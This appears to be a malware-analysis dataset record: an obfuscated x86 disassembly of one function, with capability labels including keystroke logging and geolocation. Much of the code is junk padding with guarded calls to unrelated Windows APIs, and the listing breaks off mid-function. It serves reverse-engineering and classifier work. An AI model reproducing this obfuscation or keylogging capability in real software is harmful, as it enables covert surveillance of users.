Function at 0x42f69b
Capabilities:
Get common file path
Get geographical location
Log keystrokes via polling
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c0
push ebx
push esi
push edi
push 2
pop edi
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x11c]
mov dword [ebp - 8], 0xcce1e2c0
mov dword [ebp - 0x18], 0x96950a4b
mov dword [ebp - 0x38], 0x68a07c69
push edi
mov byte [ebp - 0x2d], dl
call fcn.0042f328
mov dword [ebp - 0x14], 0x9d2e819d
xor esi, esi
mov dword [ebp - 0x1c], 0x7af9ca3e
mov dword [ebp - 0x24], 0x8877e069
mov dword [ebp - 0x10], esi
jmp 0x42f700
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x11c]
mov dword [eax + ecx*4], 0x593f9bea
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x42f6ed
mov eax, dword [ebp - 8]
xor ebx, ebx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 8]
dec ecx
cmp ecx, eax
mov eax, dword [ebp - 0x11c]
setge bl
sub ebx, 0x9523
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
mov dword [eax], ebx
mov eax, dword [ebp - 8]
cmp eax, ebx
mov eax, dword [ebp - 8]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 8]
jne 0x42f751
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
lea ecx, [ebp - 0x11c]
setge dl
mov dword [ebp - 0x24], edx
call fcn.0042f3fa
push 3
pop ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], 0xc0021fbb
mov dword [ebp - 8], 6
cmp dword [ebp - 8], 0xffffffea
push 1
pop esi
je 0x42f86f
xor eax, eax
mov dword [ebp - 0x18], 0xd890fc52
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x10], eax
jmp 0x42f7c1
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0xc8], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x42f7b0
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
imul ecx, dword [ebp - 8]
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], eax
je 0x42f80d
mov edx, esi
cmp dword [ebp - 8], eax
jne 0x42f80f
mov edx, eax
xor ecx, ecx
cmp edx, 8
sete cl
cmp ecx, edi
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, 0x6ea3
setle dl
cmp edx, dword [ebp - 0xbc]
mov byte [ebp - 9], al
jg 0x42f849
cmp byte [ebp - 9], 0
je 0x42f858
push 0x1053
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
jmp 0x42f856
cmp byte [ebp - 9], 0
je 0x42f858
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
cmp dword [ebp - 0xc8], eax
jne 0x42f871
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffea
jne 0x42f7a1
jmp 0x42f871
xor eax, eax
mov dword [ebp - 0x10], 9
mov dword [ebp - 0x10], eax
jmp 0x42f8a6
cmp dword [ebp - 0x10], eax
jne 0x42f8ac
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x42f8a3
push 0xb95
push 0xce5
push 0x10f5
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff1
jne 0x42f87d
mov eax, dword [0x4a19fc]
lea ecx, [ebp - 0x88]
push 4
mov dword [ebp - 0x38], eax
call fcn.0042f328
mov dword [ebp - 0x14], 0xe76f5020
xor eax, eax
mov dword [ebp - 0x24], 0xf3de0369
mov dword [ebp - 0x1c], 0xe780ca9f
mov dword [ebp - 0x10], eax
jmp 0x42f8ed
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x88]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x42f8dd
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x42f984
mov dword [ebp - 0x18], esi
mov ebx, esi
mov ecx, dword [ebp - 0x18]
dec dword [ebp - 0x18]
cmp ecx, 0x3e86
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
cmove ebx, eax
mov ecx, dword [ebp - 0x88]
cmp dword [ecx + edx*4], eax
je 0x42f92b
mov edi, esi
cmp dword [ebp - 0x14], eax
jne 0x42f92d
mov edi, eax
mov esi, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x88]
sub edi, dword [ecx]
mov ecx, dword [ebp - 0x1c]
imul edi, ebx
cmp edi, ecx
mov ecx, dword [ebp - 0x88]
sete dl
cmp edx, 0xc8748afa
sbb edx, edx
xor ebx, ebx
neg edx
cmp edx, dword [ecx + esi*4]
setg bl
mov dword [ebp - 0x24], ebx
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x42f972
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
inc dword [ebp - 0x14]
push 3
pop ebx
push 1
pop esi
cmp dword [ebp - 0x14], ebx
jle 0x42f8ff
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x42f9a3
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
lea ecx, [ebp - 0x88]
call fcn.0042f3fa
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x14], 0xd313dd33
mov dword [ebp - 0x10], 0xfffffff7
mov dword [ebp - 8], eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
jmp 0x42f9df
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x34], 0xe01bd97a
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x42f9d1
mov dword [ebp - 8], eax
jmp 0x42f9fa
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x1a0], 0x51cd25bb
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x42f9e9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffe6
jne 0x42fb89
push dword [ebp + 8]
movdqa xmm0, xmmword [0xa96660]
lea ecx, [ebp - 0x174]
push ecx
lea ecx, [ebp - 0x184]
mov dword [ebp - 8], 0x9f3690f1
push ecx
mov dword [ebp - 0x1c], 0x6f91
lea ecx, [ebp - 0xb4]
push eax
movdqu xmmword [ebp - 0x184], xmm0
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], eax
call fcn.0042f46b
xor eax, eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], eax
jl 0x42fb47
mov edi, dword [ebp - 0xb4]
mov dword [ebp - 0x18], 0xfffffffc
xor ebx, ebx
mov dword [ebp - 0x20], 0xb1743e62
mov edx, dword [ebp - 8]
mov dword [ebp - 0x1a0], edx
mov ecx, dword [ebp - 0x34]
cmp edx, ecx
mov ecx, dword [ebp - 0x34]
setle bl
sub ebx, ecx
cmp ebx, 0x8f0bd907
je 0x42fa9e
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x34]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x34]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x34]
mov ecx, dword [ebp - 0x18]
cmp dword [ebp - 8], ecx
jne 0x42fac8
cmp dword [ebp - 8], eax
jne 0x42fac8
mov esi, eax
mov ecx, dword [ebp - 8]
xor edx, edx
push 1
mov ecx, dword [ebp + ecx*4 - 0x34]
cmp ecx, esi
pop esi
setl dl
mov dword [ebp - 0x10], edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x34]
test ecx, ecx
mov ecx, dword [ebp - 0x14]
setns dl
xor ebx, ebx
cmp edx, ecx
mov ecx, dword [ebp - 0x14]
setg bl
xor edx, edx
cmp ebx, ecx
mov ecx, dword [ebp - 8]
setl dl
xor ebx, ebx
sub edx, dword [ebp + ecx*4 - 0x34]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x34]
cmp ecx, edx
setle bl
sub ebx, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, 0xb785
setne cl
sub ecx, dword [ebp - 0x34]
mov dword [edi + 8], ecx
dec dword [ebp - 8]
jns 0x42fa6d
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x42fb6b
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x42fb66
push 0x1762
push eax
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x42fb4f
lea ecx, [ebp - 0xb4]
call fcn.0042f3fa
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe6
push 0
pop eax
je 0x42fa0c
mov edi, dword [ebp + 8]
cmp byte [ebp - 0x2d], 0
je 0x42fced
cmp dword [ebp - 0x38], esi
jne 0x42fced
mov dword [ebp - 0x10], 0xfd3df75d
lea ecx, [ebp - 0x104]
push esi
call fcn.0042f328
xor eax, eax
mov dword [ebp - 0x1c], 0xdd66408
mov dword [ebp - 0x10], eax
jmp 0x42fbcc
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x104]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x42fbbd
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xfffffff8
jge 0x42fcd4
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x44], 6
mov dword [ebp - 8], eax
jmp 0x42fc64
mov dword [ebp - 0x18], eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x42fc19
push eax
push 0x1f90
push eax
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x42fc61
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x42fc45
push 0x6d7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
xor eax, eax
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x42fc5c
push 0x33c
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x42fc21
inc dword [ebp - 8]
cmp dword [ebp - 8], eax
jle 0x42fbfe
mov ecx, dword [ebp - 8]
xor edx, edx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
add ecx, 7
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x104]
add esi, dword [ecx]
mov ecx, dword [ebp - 8]
cmp esi, ecx
mov ecx, dword [ebp - 8]
sete dl
xor ebx, ebx
cmp ecx, edx
mov ecx, dword [ebp - 0x24]
setge bl
xor edx, edx
shl ebx, 2
cmp ebx, ecx
setle dl
imul ecx, edx, 0xfffe
xor edx, edx
cmp ecx, 0xae7b
setle dl
mov dword [ebp - 0x44], edx
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff8
jl 0x42fbde
xor esi, esi
inc esi
lea ecx, [ebp - 0x104]
call fcn.0042f3fa
mov dword [edi + 8], 4
mov dword [edi + 0xc], 0x4a19fc
push esi
lea ecx, [ebp - 0x70]
call fcn.0042f328
mov dword [ebp - 0x44], 0xbecdb595
lea ecx, [ebp - 0x140]
push esi
call fcn.0042f328
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x42fd1e
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x58], 0xec2e0cf5
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x42fd10
mov dword [ebp - 8], eax
jmp 0x42fd39
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x70]
mov dword [ecx + edx*4], 0x730f94f3
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x42fd29
mov dword [ebp - 8], eax
jmp 0x42fd56
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x140]
mov dword [ecx + edx*4], 0x12237eeb
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x42fd43
mov byte [ebp - 9], al
cmp byte [ebp - 9], al
je 0x42fd71
push 0x1d19
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov ecx, dword [ebp - 0x70]
push 2
pop edi
mov dword [ecx], edi
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x24], 0x3925
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x10], eax
jl 0x42ff43
mov dword [ebp - 8], 0xfffffff8
mov dword [ebp - 0x18], 0x922cbd4d
mov dword [ebp - 8], edi
cmp dword [ebp - 8], eax
jl 0x42fdbf
mov dword [ebp - 0x1c], 0xfffffffe
mov dword [ebp - 0x1c], 0x374c7af
dec dword [ebp - 8]
jns 0x42fdac
mov dword [ebp - 8], eax
jmp 0x42ff31
mov dword [ebp - 0x14], 0xca8cda2a
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], eax
jl 0x42ff2e
mov dword [ebp - 0x20], 0x1808adc7
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x58]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x58]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jne 0x42fe03
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x58]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x58]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x58]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ebp - 8]
mov ecx, dword [ebp + ecx*4 - 0x58]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x70]
sub edx, 0x4502
cmp edx, dword [ecx]
jl 0x42fe94
mov dword [ebp - 0xf8], esi
mov dword [ebp - 0xf4], esi
mov dword [ebp - 0xf0], esi
mov dword [ebp - 0xec], esi
cmp dword [ebp - 0xf8], eax
jne 0x42fe82
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x70]
cmp dword [ecx], edx
je 0x42fe82
mov edx, dword [ebp - 0x14]
xor ebx, ebx
mov ecx, dword [ebp - 0x18]
cmp ecx, edx
mov ecx, dword [ebp - 0xf8]
mov edx, eax
setne bl
imul ebx, ecx
cmp dword [ebp - 8], ebx
je 0x42fe84
mov edx, esi
xor ecx, ecx
cmp edx, 0xffffffff
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x42ff25
mov dword [ebp - 0x20], 0xfff7
xor ebx, ebx
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x44]
cmp edx, ecx
setge bl
imul ecx, ebx, 0x9c84
test ecx, ecx
jne 0x42feb9
mov ecx, eax
cmp dword [ebp - 0x20], eax
je 0x42febb
mov ecx, esi
mov esi, dword [ebp - 0x20]
xor edx, edx
imul esi, ecx
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x58], esi
mov ecx, dword [ebp - 0x14]
cmp esi, ecx
setne dl
add edx, dword [ebp - 0x18]
je 0x42fee3
cmp dword [ebp - 0x14], eax
je 0x42fee3
xor esi, esi
inc esi
mov edx, esi
jmp 0x42fee8
xor esi, esi
mov edx, eax
inc esi
xor ecx, ecx
cmp edx, esi
sete cl
cmp ecx, 0xa916a8e8
jae 0x42fefe
mov edx, esi
cmp dword [ebp - 0x18], eax
jne 0x42ff00
mov edx, eax
mov ecx, dword [ebp - 0x140]
mov dword [ecx], edx
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x42ff25
push 0xf0c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x42fdda
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jle 0x42fdc7
dec dword [ebp - 0x10]
jns 0x42fd96
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov ecx, dword [ebp + ecx*4 - 0x58]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x70]
dec dword [ecx]
jns 0x42fd79
lea ecx, [ebp - 0x140]
call fcn.0042f3fa
lea ecx, [ebp - 0x70]
call fcn.0042f3fa
mov edi, dword [ebp - 0x40]
cmp edi, dword [ebp - 0x38]
jge 0x430ad2
push dword [ebp + 8]
movdqa xmm0, xmmword [0xa96680]
lea eax, [ebp - 0x184]
push eax
xor esi, esi
mov dword [ebp - 0x28], 0xf9c28ade
lea eax, [ebp - 0x194]
mov dword [ebp - 0xd4], esi
push eax
mov ebx, 0x4a1a00
mov dword [ebp - 0xd0], esi
push esi
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x10], ebx
movdqu xmmword [ebp - 0x194], xmm0
mov dword [ebp - 0xcc], esi
call fcn.0042f46b
push 4
lea ecx, [ebp - 0x164]
call fcn.0042f328
mov dword [ebp - 0x28], 1
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x28], 0xea0a9f4f
mov dword [ebp - 0x28], 0x6d64
mov dword [ebp - 0x28], 0x4d4e2095
mov dword [ebp - 0x28], 0x3e5c
push 4
call fcn.0042f328
mov dword [ebp - 8], esi
jmp 0x43001c
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1c0], 0xfffffffc
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x43000b
push 4
mov dword [ebp - 8], esi
pop edx
jmp 0x43003d
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x164]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x43002a
mov dword [ebp - 8], esi
jmp 0x43005a
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x134]
mov dword [eax + ecx*4], 0xc7d7
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x430047
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x134]
inc dword [eax]
call fcn.0042f3fa
lea ecx, [ebp - 0x164]
call fcn.0042f3fa
lea ecx, [ebp - 0xd4]
call fcn.0042f3fa
test edi, edi
jle 0x4305bc
mov dword [ebp - 8], 0xc64a6847
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], 0xfffffff7
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x10], esi
xor esi, esi
inc esi
jmp 0x4300c1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb8], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x4300b0
mov dword [ebp - 8], 0x15
jmp 0x4300f7
mov dword [ebp - 0x20], 0xfffa
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setle dl
xor ecx, ecx
imul edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp edx, eax
setg cl
mov dword [ebp - 0x14], ecx
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffe4
je 0x4300cf
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 8]
test eax, eax
je 0x43011b
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 0x14]
sub ecx, 8
cmp ecx, eax
mov eax, dword [ebp - 0x14]
push 5
setge dl
xor ecx, ecx
cmp edx, eax
pop edi
setge cl
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0xe0]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx]
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0x2c], 0x4ee7
mov dword [ebp - 0x14], 0x405b4019
push 3
mov dword [ebp - 0x28], eax
call fcn.0042f328
mov dword [ebp - 0x10], 0xf5f49900
xor eax, eax
mov dword [ebp - 0x1c], 0xdcba86ba
mov dword [ebp - 0x10], eax
jmp 0x430195
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx + edx*4], 0x2e6e7f73
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x430182
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x14], esi
mov dword [ecx], 0xdbc3
mov dword [ebp - 0x10], 0xdbc3
mov ecx, dword [ebp - 0x10]
sub ecx, edi
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
jmp 0x43020c
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x4301da
push 0x1cb5
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x430203
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x4301f2
push eax
push eax
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
xor eax, eax
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xe0]
cmp dword [ecx + edx*4], eax
jne 0x430209
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jle 0x4301df
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffff
jge 0x4301c3
lea ecx, [ebp - 0xe0]
call fcn.0042f3fa
xor eax, eax
mov dword [ebp - 0x10], 0x90c4d8e5
mov dword [ebp - 0x10], eax
jmp 0x43023c
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x1b4], 0x3df7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x43022b
mov dword [ebp - 0x10], eax
jmp 0x430260
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x43025d
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x430247
mov edi, dword [ebx + 4]
mov dword [ebp - 0x14], 0x68ec0ae9
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x10], 0xeec54165
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 8], 0x431fadac
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], eax
jmp 0x4302a7
mov ecx, dword [ebp - 0x10]
mov dword [ebp + ecx*4 - 0x1ac], 0x4bcd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x430296
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff7
jne 0x430304
mov dword [ebp - 0x18], 0x6694
mov edx, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x18]
sub edx, ecx
mov ecx, dword [ebp - 0x18]
sub edx, ecx
je 0x4302d4
cmp dword [ebp - 0x44], eax
jne 0x4302d6
mov esi, eax
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x18]
cmp ecx, esi
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x10]
setne dl
sub esi, ecx
sub esi, edx
neg esi
push 1
sbb esi, esi
inc esi
mov dword [ebp - 8], esi
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff7
pop esi
je 0x4302b6
mov dword [ebp - 8], 0x19
jmp 0x43035b
mov dword [ebp - 0x20], 0x7d6b5922
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x10], 0xffffffeb
jmp 0x430352
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x11
jle 0x43032b
dec dword [ebp - 8]
cmp dword [ebp - 8], 7
jne 0x43030d
add ebx, 8
lea ecx, [ebp - 0x94]
push 4
mov dword [ebp - 0x10], ebx
call fcn.0042f328
mov dword [ebp - 0x14], 0xe76f5020
xor eax, eax
mov dword [ebp - 0x24], 0xf3de0369
mov dword [ebp - 0x1c], 0xe780ca9f
mov dword [ebp - 0x14], eax
jmp 0x4303a0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x94]
or dword [ecx + edx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x430390
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x430438
mov dword [ebp - 0x18], esi
mov ebx, esi
mov ecx, dword [ebp - 0x18]
dec dword [ebp - 0x18]
cmp ecx, 0x3e86
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
cmove ebx, eax
mov ecx, dword [ebp - 0x94]
cmp dword [ecx + edx*4], eax
je 0x4303df
mov edi, esi
cmp dword [ebp - 0x14], eax
jne 0x4303e1
mov edi, eax
mov esi, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x94]
sub edi, dword [ecx]
mov ecx, dword [ebp - 0x1c]
imul edi, ebx
cmp edi, ecx
mov ecx, dword [ebp - 0x94]
sete dl
cmp edx, 0xc8748afa
sbb edx, edx
xor ebx, ebx
neg edx
cmp edx, dword [ecx + esi*4]
setg bl
mov dword [ebp - 0x24], ebx
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x430426
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
push 1
pop esi
jle 0x4303b3
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x2c]
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x430457
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
lea ecx, [ebp - 0x94]
call fcn.0042f3fa
test edi, edi
jne 0x430469
add ebx, 8
push dword [ebp + 8]
movdqa xmm0, xmmword [0xa966a0]
lea eax, [ebp - 0x164]
push eax
xor esi, esi
lea eax, [ebp - 0x174]
push eax
push esi
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0xa4], esi
movdqu xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x9c], esi
call fcn.0042f46b
mov dword [ebp - 0x2c], 0x7dd68876
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x2c], 0xe948708e
inc esi
mov dword [ebp - 8], 0xfffffffb
mov dword [ebp - 0x2c], 0x164caf14
mov dword [ebp - 0x2c], esi
push 3
call fcn.0042f328
mov dword [ebp - 0x18], 0xfffffff7
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x2c], 0xcf041577
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], eax
jmp 0x430505
mov edx, dword [ebp - 0x10]
